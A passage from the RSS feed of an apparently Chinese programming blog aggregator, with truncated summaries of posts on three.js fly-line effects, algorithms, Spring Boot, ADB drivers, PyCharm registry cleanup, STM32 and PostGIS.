      <description>文章目录 前言飞线实现效果核心思路几何体实现纹理贴图体实现着色器实现 代码实现基类引入组件飞线封装 总结 前言 之前在研究threejs时，尝试了通过线几何体、通过纹理贴图、通过着色器等几种方式实现飞线效果，现在将这几种方式使用 typescript， 采用面向对象的方式封装整理并记录下来，思路供大家参考。&#xA;飞线实现效果 几何体实现&#xA;贴图实现&#xA;着色器实现&#xA;核心思路 几何体实现 通过 TubeBufferGeometry 创建轨迹线模型采用相同的方式，从轨迹线的点集合中截取一段创建移动的飞线，通过 THREE.Line —— lerp 实现渐变色通过tween操作动画，每次重新设置线几何体的点坐标，实现动画效果 采用这种方式在思路上不难理解，但是需要使用者清楚 THREE.BufferGeometry 的使用。&#xA;纹理贴图体实现 通过 THREE.CatmullRomCurve3 创建轨迹线，从上面截取点创建 THREE.Line 几何体作为轨迹线使用 THREE.TextureLoader 给模型表面贴图通过tween操作动画，每次操作纹理的 offset，实现动画 在网上找了个简单的纹理图，照理来说应该把它的背景色挖空：&#xA;着色器实现 着色器的实现相比复杂很多，主要指出关键部分：&#xA;创建点集&#xA;仍然通过THREE.CatmullRomCurve3拾取点，数量为 nsetAttribute 给每个点传递一个索引属性，这个属性通过 attribute 变量传到着色器中，在实现飞线效果时有重要作用 创建着色器&#xA;通过THREE.ShaderMaterial自定义着色器,通过tween向其传入 [0, n] 范围内不断变化的时间 uTime 点集的范围和时间循环的范围都是 [0, n]，uTime 是不断变化的，给点索引值范围为 [uTime - m, uTime + m] 的粒子群们赋予着色器效果：粒子的大小由其索引值确定，索引值大的方向为头部，size更大 ； [uTime - m, uTime + m] 外的粒子们设置透明。随着uTime的不断变化，上述过程将会反复实现，形成飞线动画&#xA;代码实现 基类 import * as THREE from &#39;three&#39;; interface flyLineBegin2End { begin: number[]; end: number[]; height: number; } export default abstract class FlyBase { // 必须声明的属性 abstract scene: THREE.</description>
    </item>
    <item>
      <title>【C语言编程题】给你一个整数数组 nums ，请计算数组的中心下标 。数组中心下标是数组的一个下标，其左侧所有元素相加的和等于右侧所有元素相加的和。求数组中心下标 寻找数组中心下标 python</title>
      <link>https://bchobby.github.io/posts/bec906a58c6943a5430ee9242820f1ad/</link>
      <pubDate>Tue, 07 Feb 2023 19:08:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bec906a58c6943a5430ee9242820f1ad/</guid>
      <description>一、题目要求 给你一个整数数组 nums ，请计算数组的 中心下标 。&#xA;数组 中心下标 是数组的一个下标，其左侧所有元素相加的和等于右侧所有元素相加的和。&#xA;如果中心下标位于数组最左端，那么左侧数之和视为 0 ，因为在下标的左侧不存在元素。这一点对于中心下标位于&#xA;数组最右端同样适用。&#xA;如果数组有多个中心下标，应该返回 最靠近左边 的那一个。如果数组不存在中心下标，返回 -1 。&#xA;示例：&#xA;输入：nums = [1, 7, 3, 6, 5, 6]输出：3 解释：&#xA;中心下标是 3 。&#xA;左侧数之和 sum = nums[0] + nums[1] + nums[2] = 1 + 7 + 3 = 11 ，&#xA;右侧数之和 sum = nums[4] + nums[5] = 5 + 6 = 11 ，二者相等。&#xA;输入：nums = [2, 1, -1]输出：0 解释：&#xA;中心下标是 0 。</description>
    </item>
    <item>
      <title>linux命令(10)(history) (/bin目录下)</title>
      <link>https://bchobby.github.io/posts/52769f3a0205bb617382d7ecd64227db/</link>
      <pubDate>Tue, 07 Feb 2023 19:03:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/52769f3a0205bb617382d7ecd64227db/</guid>
      <description> history：显示之前输入的指令 </description>
    </item>
    <item>
      <title>Echarts 重绘</title>
      <link>https://bchobby.github.io/posts/107739b7eb29889dc22c84815c258fcd/</link>
      <pubDate>Tue, 07 Feb 2023 16:16:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/107739b7eb29889dc22c84815c258fcd/</guid>
      <description> 1.删除之前绘画的实例 echarts.init(this.$refs.xxx).dispose(); 2.再次调用数据请求方法 进行重绘 </description>
    </item>
    <item>
      <title>弗洛伊德Floyd算法：代码详解及运行过程图解</title>
      <link>https://bchobby.github.io/posts/3f708e5c746f4d912eb1377354768c91/</link>
      <pubDate>Tue, 07 Feb 2023 13:10:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3f708e5c746f4d912eb1377354768c91/</guid>
      <description>#弗洛伊德算法：找到任意所有顶点到所有顶点的最短路径 #其实我觉得就是把迪杰斯特拉算法执行了n次，然后抽象出来，直接对图的邻接矩阵进行操作最终得到从所有结点到所有结点的最短路径 #弗洛伊德算法：找到任意所有顶点到所有顶点的最短路径 #其实我觉得就是把迪杰斯特拉算法执行了n次，然后抽象出来，直接对图的邻接矩阵进行操作最终得到从所有结点到所有结点的最短路径 def Floyd(g): A=[[0]*MAXV for i in range(MAXV)]#用A存放之后的最短路径的邻接矩阵 path=[[0]*MAXV for i in range(MAXV)] for i in range(g.n): for j in range(g.n): A[i][j]=g.edges[i][j] if i !=j and g.edges[i][j]&amp;lt;INF: path[i][j]=i#path仍然是到这个结点最短路径的前一个结点 else: path[i][j]=-1 #k作为中转顶点去遍历每一个顶点，所以时间复杂度是n*n*n for k in range(g.n): for i in range(g.n): for j in range(g.n): if A[i][j]&amp;gt;A[i][k]+A[k][j]:#这一步得看图才能理解 A[i][j]=A[i][k]+A[k][j] path[i][j]=path[k][j] Dispath(A,path,g) def Dispath(A,path,g): for i in range(g.n): for j in range(g.n): if A[i][j]!=INF and i!=j: print(&#34;顶点%d到%d的最短路径长度：%d \t路径：&#34;%(i,j,A[i][j]),end=&#39;&#39;) k=path[i][j] apath=[j] while k!</description>
    </item>
    <item>
      <title>Java下载Excel文件</title>
      <link>https://bchobby.github.io/posts/55303c3454d7d20e46814c8cc3c9a145/</link>
      <pubDate>Tue, 07 Feb 2023 10:46:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/55303c3454d7d20e46814c8cc3c9a145/</guid>
      <description>以下的java使用的框架是Jfinal.&#xA;1. 创建流和工作薄. ServletOutputStream out = null; HSSFWorkbook workbook =null; try { workbook = new HSSFWorkbook(); 2. 创建工作表. HSSFSheet sheet = workbook.createSheet(&#34;sheet1&#34;); 3.创建第一行的标头. /*第一行*/ HSSFRow first_row = sheet.createRow(0); first_row.createCell(0).setCellValue(&#34;序号&#34;); first_row.createCell(1).setCellValue(&#34;日期&#34;); first_row.createCell(2).setCellValue(&#34;时限&#34;); first_row.createCell(3).setCellValue(&#34;标题&#34;); first_row.createCell(4).setCellValue(&#34;程度&#34;); first_row.createCell(5).setCellValue(&#34;编号&#34;); first_row.createCell(6).setCellValue(&#34;备注&#34;); 4. 获取数据. /**获取数据b*/ List&amp;lt;Record&amp;gt; list= service.getListByParams(param1, param2, status,search,...); 5.数据回填. int c = 1;//从第二行开始填数据 for(Record item:list) { HSSFRow row = sheet.createRow(c); row.createCell(0).setCellValue(c);//序号从1开始 row.createCell(1).setCellValue(DateUtils.date2Str(item.getDate(&#34;createDate&#34;), &#34;yyy年MM月dd日&#34;)); row.createCell(2).setCellValue(DateUtils.date2Str(item.getDate(&#34;endTime&#34;), &#34;yyy年MM月dd日&#34;)); row.createCell(3).setCellValue(item.getStr(&#34;title&#34;)); row.createCell(4).setCellValue(item.getInt(&#34;num&#34;)); row.createCell(5).setCellValue(model.getNum()); row.createCell(6).setCellValue(model.getRemark()); c++; } 6. 设置响应头并写出. HttpServletResponse response = getResponse();//获取响应 response.</description>
    </item>
    <item>
      <title>（附源码)springboot银行客户管理系统  毕业设计250903</title>
      <link>https://bchobby.github.io/posts/583ce0d5f4df180e36168c7babed91c6/</link>
      <pubDate>Tue, 07 Feb 2023 09:05:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/583ce0d5f4df180e36168c7babed91c6/</guid>
      <description>摘要&#xA;本论文主要论述了如何使用JAVA语言开发一个银行客户管理系统，本系统将严格按照软件开发流程进行各个阶段的工作，采用B/S架构，springboot框架进行开发。在引言中，作者将论述银行客户管理系统的当前背景以及系统开发的目的，后续章节将严格按照软件开发流程，对系统进行各个阶段分析设计。&#xA;银行客户管理系统的主要使用者分为管理员和用户与客户经理，实现功能包括管理员：首页、用户管理、存款服务、信用卡信息、客服咨询、银行卡信息、支付结算、信用卡交易、信用卡还款、挂失业务、密码修改、信用卡限额修改，用户；首页、存款服务、信用卡信息、客服咨询、银行卡信息、支付结算、信用卡交易、信用卡还款、挂失业务、密码修改、信用卡限额修改等功能。由于本网站的功能模块设计比较全面，所以使得整个银行客户管理系统信息管理的过程得以实现。&#xA;本系统的使用可以实现银行客户管理系统管理的信息化，可以方便管理员进行更加方便快捷的管理。&#xA;关键词：银行客户管理系统；JAVA语言；MYSQL数据库；springboot框架&#xA;Abstract&#xA;This paper mainly discusses how to use java language to develop a bank customer management system. This system will carry out the work of each stage in strict accordance with the software development process, using B / S architecture and springboot framework. In the introduction, the author will discuss the current background of bank customer management system and the purpose of system development. The subsequent chapters will analyze and design the system in each stage in strict accordance with the software development process.</description>
    </item>
    <item>
      <title>神经网络——1.感知机</title>
      <link>https://bchobby.github.io/posts/81dd39fda7ce908563521029294f20fe/</link>
      <pubDate>Mon, 06 Feb 2023 20:27:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/81dd39fda7ce908563521029294f20fe/</guid>
      <description>使用鸢尾花数据集中的其中花瓣长和花瓣宽数据，训练一个二分类的感知器，对0类iris和非0类iris进行二分类。&#xA;一、数据导入与预处理 import numpy as np import pandas as pd import matplotlib.pyplot as plt from sklearn.datasets import load_iris iris=load_iris() df=pd.DataFrame(iris.data,columns=[&#39;sepal_length&#39;,&#39;sepal_width&#39;,&#39;petal_length&#39;,&#39;petal_weigh&#39;]) df[&#39;label&#39;]=iris.target df.describe() #绘制散点图，观察数据特点 plt.scatter(df[df[&#39;label&#39;]==0][&#39;sepal_length&#39;],df[df[&#39;label&#39;]==0][&#39;sepal_width&#39;],marker=&#39;o&#39;,c=&#39;g&#39;) plt.scatter(df[df[&#39;label&#39;]!=0][&#39;sepal_length&#39;],df[df[&#39;label&#39;]!=0][&#39;sepal_width&#39;],marker=&#39;x&#39;,c=&#39;r&#39;) plt.xlabel(&#39;sepal_length&#39;) plt.ylabel(&#39;sepal_width&#39;) plt.legend([&#39;0&#39;,&#39;else&#39;]) plt.title(&#39;scatter of the 0-type iris and non-0-type iris&#39;) plt.show() df[&#39;new_label&#39;]=[1 if x==0 else -1 for x in df[&#39;label&#39;]]#发现可以用感知机根据两维数据划分0类和非0类，进行标签转换 df.head() X=np.array(df[[&#39;sepal_length&#39;,&#39;sepal_width&#39;]]) y=np.array(df[&#39;new_label&#39;]) y.resize(len(df),1) 二、模型定义 def hardlims(a):#激活函数 return np.array([[1] if x&amp;gt;=0 else [-1] for x in a]) def predict(W,b,X):#感知器 return hardlims(X@W+b)#X（n,2）,W(2,1),y(n,1) def loss(W,b,X,y):#损失函数 return -(y*(X@W+b)).</description>
    </item>
    <item>
      <title>Windows下提示adb Interface 找不到驱动程序解决办法 和 Windows设备管理器Android感叹号问题</title>
      <link>https://bchobby.github.io/posts/8e24f334a8beb5b52615a2b767167e01/</link>
      <pubDate>Mon, 06 Feb 2023 19:51:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8e24f334a8beb5b52615a2b767167e01/</guid>
      <description>Windows下提示adb Interface 找不到驱动程序解决办法 和 Windows设备管理器Android感叹号问题 参考链接：https://blog.csdn.net/weixin_44775434/article/details/125707348 adb interface usb driver 32/64位正式版是款针对安卓手机打造的通用驱动程序。adb interface usb driver 32/64位官方版又称adb驱动，一般手机与电脑连接后需要正确安装这个驱动程序才能正常使用。并且adb interface usb driver 32/64位还可以完美兼容32位和64位操作系统。&#xA;问题描述： 做安卓自动化测试时， 使用数据线连接手机的时候报ADB Interface找不到驱动程序。&#xA;可以看到“adb interface”这里的显示叹号的，说明adb驱动没有安装&#xA;解决步骤：&#xA;1、右键我的电脑 → 管理 → 设备管理器；&#xA;2、双击带黄色感叹号的ADB Interface；&#xA;3、点击【更新驱动程序】；&#xA;4、点击【浏览计算机以查找驱动程序软件】；&#xA;5、选择【从计算机的设备驱动程序列表中选择】；&#xA;6、点击【下一步】；&#xA;adb interface 驱动程序，下载链接：&#xA;https://www.onlinedown.net/soft/1116710.htm&#xA;7、点击【从磁盘安装】；&#xA;8、点击浏览，选择SDK目录：sdk\extras\google\usb_driver，要保证该目录下必须有android_winusb.inf这个文件（自行搜索下载SDK工具） ，点击【确定】；&#xA;9、点击【下一步】；&#xA;10、预警提示选：是&#xA;11、安装成功，需要重启计算机&#xA;Windows设备管理器Android感叹号问题&#xA;参考链接：&#xA;https://blog.csdn.net/csdnlizhihao/article/details/123691753&#xA;故障现象：连接手机设备，直接提示Android感叹号。&#xA;原因：缺少驱动&#xA;解决办法：驱动精灵自动搜索安装驱动解决</description>
    </item>
    <item>
      <title>删除鼠标右击的Open Folder as PyCharm和其他相同情况快捷键</title>
      <link>https://bchobby.github.io/posts/0c43ffe721394fb61065ba550f3c84f9/</link>
      <pubDate>Mon, 06 Feb 2023 17:20:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0c43ffe721394fb61065ba550f3c84f9/</guid>
      <description>win+R键，输入regedit，进入注册表&#xA;删除鼠标右键空白处时显示“Open Folder as PyCharm Project”选项 直接复制或者自行查找到如下地址&#xA;Computer\HKEY_CLASSES_ROOT\Directory\Background\shell\PyCharm Community Edition # 或者 Computer\HKEY_CLASSES_ROOT\Directory\Background\shell\PyCharm 再删除PyCharm Community Edition（或者Pycharm）整个文件夹&#xA;————————————————————————————————————————————&#xA;删除鼠标右键文件夹时 &#34;Open Folder as PyCharm &#34; 选项 直接复制或者自行查找到如下地址&#xA;Computer\HKEY_CLASSES_ROOT\Directory\shell\PyCharm Community Edition # 或者 Computer\HKEY_CLASSES_ROOT\Directory\shell\PyCharm 再删除PyCharm Community Edition（或者Pycharm）整个文件夹&#xA;————————————————————————————————————————————&#xA;删除鼠标右键“Edit with PyCharm”选项 直接复制或者自行查找到如下地址&#xA;Computer\HKEY_CLASSES_ROOT\*\shell\Open with PyCharm Community Edition # 或者 Computer\HKEY_CLASSES_ROOT\*\shell\Open with PyCharm 再删除PyCharm Community Edition（或者Pycharm）整个文件夹&#xA;————————————————————————————————————————————&#xA;其他软件 其他软件相似的道理只要找到他们的位置即可，如Visual Studio时anycode</description>
    </item>
    <item>
      <title>毕业设计 基于STM32的环境质量监测系统(源码&#43;原理图&#43;论文)</title>
      <link>https://bchobby.github.io/posts/d63832a84713d6a8f8b5e4467b752ed8/</link>
      <pubDate>Mon, 06 Feb 2023 16:52:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d63832a84713d6a8f8b5e4467b752ed8/</guid>
      <description>文章目录 0 前言1 设计架构功能设计 2 原理图3 软件设计4 实现效果5 相关代码6 最后 0 前言 🔥&#xA;这两年开始毕业设计和毕业答辩的要求和难度不断提升，传统的毕设题目缺少创新和亮点，往往达不到毕业答辩的要求，这两年不断有学弟学妹告诉学长自己做的项目系统达不到老师的要求。&#xA;为了大家能够顺利以及最少的精力通过毕设，学长分享优质毕业设计项目，今天要分享的是&#xA;🚩 毕业设计 基于STM32的环境质量监测系统(源码+原理图+论文)&#xA;🥇学长这里给一个题目综合评分(每项满分5分)&#xA;难度系数：3分工作量：3分创新点：3分 🧿 项目分享：&#xA;https://gitee.com/sinonfin/sharing&#xA;1 设计架构 本系统主要由单片机系统、液晶显示、温湿度采集模块、PM2.5采集模块和甲醛模块。采用单片机作为主控芯片，将采集到的温湿度和PM2.5，甲醛浓度显示到LCD1602液晶上，来实现当前环境的采集。&#xA;功能设计 主要功能: 使用STM32为主控制器，可采集当前环境下的温湿度、甲醛、PM2.5值，当采集值超过预设阀值时，蜂鸣器自动报警。采集到的温湿度、甲醛、PM2.5会显示在LCD1602显示屏上，且自动上传至上位机（手机），可以在手机查收采集到的各种参数。可通过三个按键任意设置报警阀值。&#xA;1.使用STM32F103C8T6单片机做主控制器。&#xA;2.使用LCD1602显示采集到的温湿度、甲醛、PM2.5值。&#xA;3.使用ESP8266上次至手机，采集数据实时上传到手机上。&#xA;4.使用DHT11采集当前环境温湿度。&#xA;5.使用ZE08-CH2O 采集甲醛值。&#xA;6.使用GP2Y1014AU粉尘传感器采集当前环境PM2.5值。&#xA;7.三个按键可任意设置报警阀值，当采集值超过了报警阀值后，蜂鸣器会自动报警。&#xA;2 原理图 3 软件设计 整体流程框图是描述整个系统运行过程的流程图。通过框图可以看出主程序是如何对各个子程序的调用来实现整个系统功能的。根据系统概述的分析，画出系统软件流程图如图&#xA;温度采集模块是本系统的核心模块之一，根据传感器的通信协议规定，DHT11不会主动采集环境温湿度，只有单片机通过I/O口发出激发信号，主动驱动传感器，传感器才会工作，这时，单片机将数据线的控制权交给传感器，由传感器完成数据采集，模数转换，数据发送的任务，而单片机通过对I/O口高低电平的不断检测，来解析出正确的数字信息[15]。根据以上流程，设计DHT11温湿度采集软件流程图如图&#xA;篇幅有限，其他流程不在这里过度复述。。&#xA;4 实现效果 正面&#xA;反面&#xA;5 相关代码 #include&amp;lt;stm32.h&amp;gt; //头文件 #include&amp;lt;intrins.h&amp;gt; #include&amp;lt;stdio.h&amp;gt; #include&amp;lt;math.h&amp;gt; //Keil library sbit DATA=P2^4; //数据 sbit SCK=P2^3; //时钟 #define TEMP_ML 0x03 //000 0001 1 温度命令 #define HUMI_ML 0x05 //000 0010 1 湿度命令 unsigned char error; //全局错误变量 unsigned char ack; //全局错误变量 //float temp_zi; //全局应答变量 //float humi_zi; //全局应答变量 unsigned char temp_h; //全局应答变量 unsigned char temp_LL; //全局应答变量 unsigned char humi_h; unsigned char temp_LL #define uchar unsigned char //定义一下方便使用 #define unit unsigned int #define ulong unsigned long unsigned int recs=0;//接收次数 uchar TempBuffer[5];uchar humibuffer[4]; const unsigned char SHUO[15]=”0123456789.</description>
    </item>
    <item>
      <title>PTA 7-4 逢7击掌</title>
      <link>https://bchobby.github.io/posts/5820541146a3892356a14e0252b2ed3e/</link>
      <pubDate>Mon, 06 Feb 2023 14:06:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5820541146a3892356a14e0252b2ed3e/</guid>
      <description> PTA 7-4 逢7击掌&#xA;一群人围坐成一圈玩报数的游戏。游戏规则是：&#xA;从1开始报数，若遇到7的倍数或者个位为7的数则击掌代替，若犯错则要受罚。&#xA;可是这些人都太聪明了，竟然没人犯错！请问同样聪明的你，当报数到 n 时，总击掌次数 c 是多少？&#xA;输入格式&#xA;n&#xA;输出格式&#xA;c&#xA;输入样例&#xA;21&#xA;输出样例&#xA;4&#xA;代码长度限制&#xA;16 KB&#xA;时间限制&#xA;100 ms&#xA;内存限制&#xA;64 MB&#xA;代码：&#xA;#include &amp;lt;stdio.h&amp;gt; int main() { int n,c=0,count;//c：计数，count：记录n中有多少个70 scanf(&#34;%d&#34;,&amp;amp;n); count=n/70;//每70个数会有16个数满足题目要求 n%=70; for(int i=1;i&amp;lt;=n;i++) //利用for循环 { if (i%7==0||i%10==7)//判断是否有个位为7或倍数为7的数 c++;//若有则进行累加 } c=c+count*16;//每70中有16个数满足要求，加上循环判断的数 printf(&#34;%d\n&#34;,c); return 0; } 解题思路 对输入的数字n进行判断(判断n中有多少个70，并且进行求余)对求余后的数字进行循环，判断各位为7(对7求余等于0)或者7的倍数(对10求余等于7)将所有满足要求的数字数量相加 </description>
    </item>
    <item>
      <title>纷享销客自定义函数命名空间及实例</title>
      <link>https://bchobby.github.io/posts/bf74bd74ea4cd8dd3ec2d7240ba8383b/</link>
      <pubDate>Mon, 06 Feb 2023 14:01:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bf74bd74ea4cd8dd3ec2d7240ba8383b/</guid>
      <description>1、按钮 在线文档地址：https://www.fxiaoke.com/mob/guide/crmdoc/src/8-1-2%E8%87%AA%E5%AE%9A%E4%B9%89%E6%8C%89%E9%92%AE.html&#xA;返回参数有三种返回值，如下：&#xA;1、map：用以阻断或继续按钮的执行；&#xA;2、String：返回的需要是一个可以访问的网址，点击按钮之后将会跳转至指定的网址；&#xA;3、UIAction：跳转至系统自己的某些组件页面&#xA;按钮分为两种类型，如下：&#xA;UI按钮：1、涉及到页面跳转的时候，使用此按钮，返回参数是String的url网址、或者是UIAction跳转至编辑页面、打印模板等指定组件；&#xA;2、批量数据操作时，用此按钮可以获取到数据集合是context.dataList&#xA;业务按钮：1、进行前验证、执行动作的补充、执行完成后的提醒等；&#xA;2、批量操作时，用此按钮分别获取到每一条数据用context.data&#xA;1.1、Map 应用场景：此返参类型在按钮的前验证中触发，用于进行数据的验证、可通过对context.data的字段进行赋值，修改最终的数据。&#xA;返参说明：error : 是否出错 errorMessage ： 出错后提示的错误信息 block ： 提示异常信息后，是否阻塞保存&#xA;如下，判断保养时间是否超时并阻断提交&#xA;Datedate = 下次保养时间; log.info(&#34;下次保养时间为：&#34;+date); Date now = Date.now(); boolean flag = now.daysBetween(date) &amp;gt; 60; if(flag){ log.info(&#34;下次保养时间超过了60天&#34;); return [ &#34;error&#34;:true, &#34;errorMessage&#34;:&#34;下次保养时间距离当前超过了60天&#34;, &#34;block&#34;:true ] }else{ log.info(&#34;下次保养时间符合要求&#34;); //输入正确，继续执行 return [&#34;block&#34;: false]; } 1.1.1、获取新的页面填充之后的值进行校验 只能在前验证的位置获取到输入的参数，进行参数校验&#xA;2、获取新的表单页面的参数，需要在函数中设置自定义参数，然后在保存函数之后会提示匹配变量，获取表单数据直接通过变量名即可，如下&#xA;log.info(&#34;填写的退费金额变量:&#34; + refund_param); 1.2、String 应用场景：在【执行动作】当中，进行指定页面路径的跳转。&#xA;返参为&#34;&#34;或没有返参时，仅执行函数，不会进行页面跳转；有字符串返参时，可以用来进行网页路径的跳转，点击之后会在新的标签页打开指定的路径。&#xA;return&#34;https://www.baidu.com/&#34;; 1.3、UIAction 应用场景：跳转至纷享销客内的一些组件页面&#xA;如下，跳转至详情页&#xA;UIAction openDialogAction = OpenDialogAction.build{ userData = [:] //传递给自定义组件的数据键值对listtitle = &#34;</description>
    </item>
    <item>
      <title>GIS面积计算</title>
      <link>https://bchobby.github.io/posts/a1c20c17b8cbbc83fcdc4f321732e675/</link>
      <pubDate>Mon, 06 Feb 2023 11:27:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a1c20c17b8cbbc83fcdc4f321732e675/</guid>
      <description>1、度/秒互转&#xA;UPDATE 表名 SET geom = st_scale(shape, 1/3600.0,1/3600.0)&#xA;2、geom转wkt字符串&#xA;SELETC st_astext(t.shape)&#xA;3、wkt字符串转geom 并设置坐标系&#xA;SELECT st_setsrid(ST_GeomFromText(‘POINT(428626.908 110737.8)’), 4326)&#xA;4、获取图形中心点坐标&#xA;SELECT ST_X(st_centroid(c.shape)) AS x , ST_Y(st_centroid(c.shape)) AS y&#xA;5、A是否包含B&#xA;ST_CONTAINS(A, b)&#xA;6、查询和修改SRID&#xA;SELECT st_srid(geom) FROM road limit 1;&#xA;UpdateGeometrySRID(varchar table_name, varchar column_name, integer srid);&#xA;UpdateGeometrySRID(varchar schema_name, varchar table_name, varchar column_name, integer srid);&#xA;UpdateGeometrySRID(varchar catalog_name, varchar schema_name, varchar table_name, varchar column_name, integer srid);&#xA;–schema_name表示schema的名称，一般默认是public&#xA;示例：&#xA;select UpdateGeometrySRID(‘road’, ‘geom’, 4326);&#xA;–road为表名&#xA;–geom为空间字段&#xA;–4326为更新的SRID</description>
    </item>
    <item>
      <title>共享单车的测试用例大致过程是怎样的呢？</title>
      <link>https://bchobby.github.io/posts/54aa0f2fe250b02f36c4291a4087f11d/</link>
      <pubDate>Mon, 06 Feb 2023 11:23:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/54aa0f2fe250b02f36c4291a4087f11d/</guid>
      <description>文章转载链接：http://www.51testing.com/html/58/n-7792258.html&#xA;一、产品介绍&#xA;共享单车是企业向消费者投放的短程出行设施，主要是用于解决大众运输系统中的“最后一公里”问题，同时也实现了缓解交通阻塞、减低噪音和空气污染的功能。&#xA;共享单车主要由普通单车配备 GPS 定位装置、里程计数装置、限速装置等构成，往往带有不同的色彩和产品 logo 等。&#xA;二、测试要点&#xA;共享单车测试主要从界面测试、安全测试、兼容性测试、易用性测试、压力测试、功能测试和性能测试等几个方面考虑，具体分析见下文。&#xA;注：设计测试过程中我认识到一个面面俱到的测试流程需要非常缜密的考虑，由于时间、精力和经验上的限制，在下面给出的具体测试要点中可能存在一些关键点遗漏。对于您指出的不足，我十分乐意进行修改和完善 : )&#xA;三、具体测试要点&#xA;界面测试&#xA;共享单车界面测试部分的具体要点如图：&#xA;四、安全测试&#xA;共享单车安全测试部分的具体要点如图：&#xA;五、兼容性测试&#xA;共享单车兼容性测试部分的具体要点如图：&#xA;六、易用性测试&#xA;共享单车易用性测试部分的具体要点如图：&#xA;七、压力测试&#xA;共享单车压力测试部分的具体要点如图：&#xA;八、功能测试&#xA;共享单车功能测试部分的具体要点如图：&#xA;九、性能测试&#xA;共享单车性能测试部分的具体要点如图：&#xA;十、整体一览&#xA;共享单车整体测试一览如图：</description>
    </item>
    <item>
      <title>unity实现按键控制人物移动</title>
      <link>https://bchobby.github.io/posts/137b896c60ee7085de2bf470b2e16b43/</link>
      <pubDate>Mon, 06 Feb 2023 10:33:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/137b896c60ee7085de2bf470b2e16b43/</guid>
      <description>在unity开发中我们经常会用到按键实现某些功能，如wasd控制人物的移动，具体怎么实现呢？代码如下：&#xA;using System.Collections;&#xA;using System.Collections.Generic;&#xA;using UnityEngine;&#xA;public class KeysMove : MonoBehaviour&#xA;{&#xA;// Start is called before the first frame update&#xA;void Start()&#xA;{&#xA;}&#xA;// Update is called once per frame&#xA;void Update()&#xA;{&#xA;control();&#xA;}&#xA;public void control()&#xA;{&#xA;if (Input.GetKey(KeyCode.W))&#xA;{&#xA;this.transform.Translate(Vector3.forward);&#xA;//gameObject.transform.Translate(0, 0, move, Space.Self);&#xA;}&#xA;else if (Input.GetKey(KeyCode.S))//按键盘s向下移动&#xA;{&#xA;this.transform.Translate(Vector3.back);&#xA;}&#xA;if (Input.GetKey(KeyCode.A))//按键盘a向左移动&#xA;{&#xA;this.transform.Translate(Vector3.left);&#xA;}&#xA;else if (Input.GetKey(KeyCode.D))//按键盘d向右移动&#xA;{&#xA;this.transform.Translate(Vector3.right);&#xA;}&#xA;}</description>
    </item>
    <item>
      <title>SpringBoot项目的创建（三）：手动创建一个Maven工程,然后引入SpringBoot所需的dependency来完成 (不需联网，但复杂)</title>
      <link>https://bchobby.github.io/posts/60226489525a37f3a20c68c4807b9b0d/</link>
      <pubDate>Mon, 06 Feb 2023 02:09:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/60226489525a37f3a20c68c4807b9b0d/</guid>
      <description>目录 1.配置Maven环境。2.创建一个新的maven项目3.创建出来的目录结构4 继承springboot父项目5.添加Spring Boot Maven插件6.添加spring和web模块的依赖7.创建入口类8.添加代码测试 1.配置Maven环境。 在以maven方式创建Spring Boot项目之前，需要先确保自己的Maven并配置好环境变量，并且在ideal中关联好maven环境。&#xA;参考文章：Maven详解（简介-作用-下载-安装-环境变量配置-配置文件说明-IDEA上配置Maven）&#xA;2.创建一个新的maven项目 3.创建出来的目录结构 目前这还只是一个普通的maven项目，还不是springboot项目&#xA;4 继承springboot父项目 在pom.xml文件中添加&#xA;&amp;lt;parent&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-parent&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.4.0&amp;lt;/version&amp;gt; &amp;lt;relativePath/&amp;gt; &amp;lt;/parent&amp;gt; 继承父类的作用&#xA;当添加了spring-boot-starter-parent依赖之后，这个项目就是springboot项目了，项目中就可以直接继承父依赖中合理的默认值。&#xA;比如继承父项目可以提供以下功能：&#xA;a.设置Java 1.8作为默认的编译器；&#xA;b.UTF-8编码；&#xA;c.允许省略常见依赖的版本标签。&#xA;d.识别资源过滤 ​ 例如，打包的时候把 src/main/resources 下所有文件都打包到包中。&#xA;&amp;lt;resource&amp;gt; &amp;lt;directory&amp;gt;src/main/resources&amp;lt;/directory&amp;gt; &amp;lt;includes&amp;gt; &amp;lt;include&amp;gt;**/*.*&amp;lt;/include&amp;gt; &amp;lt;/includes&amp;gt; &amp;lt;filtering&amp;gt;true&amp;lt;/filtering&amp;gt; &amp;lt;/resource&amp;gt; e.识别插件的配置&#xA;​ 比如 exec plugin, surefire, Git commit ID, shade&#xA;能够识别 application.properties 和 application.yml 类型的文件，同时也能支持 profile-specific 类型的文件（如： application-foo.properties and application-foo.yml，这个功能可以更好的配置不同生产环境下的配置文件)。&#xA;5.添加Spring Boot Maven插件 pom.xml文件中添加&#xA;&amp;lt;build&amp;gt; &amp;lt;plugins&amp;gt; &amp;lt;plugin&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-maven-plugin&amp;lt;/artifactId&amp;gt; &amp;lt;/plugin&amp;gt; &amp;lt;/plugins&amp;gt; &amp;lt;/build&amp;gt; 6.</description>
    </item>
    <item>
      <title>超好用的5个IDEA神级插件，效率提升90%，最后一个是王炸</title>
      <link>https://bchobby.github.io/posts/a6ebe171fb9095321d0ef146e958be6f/</link>
      <pubDate>Mon, 06 Feb 2023 01:01:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a6ebe171fb9095321d0ef146e958be6f/</guid>
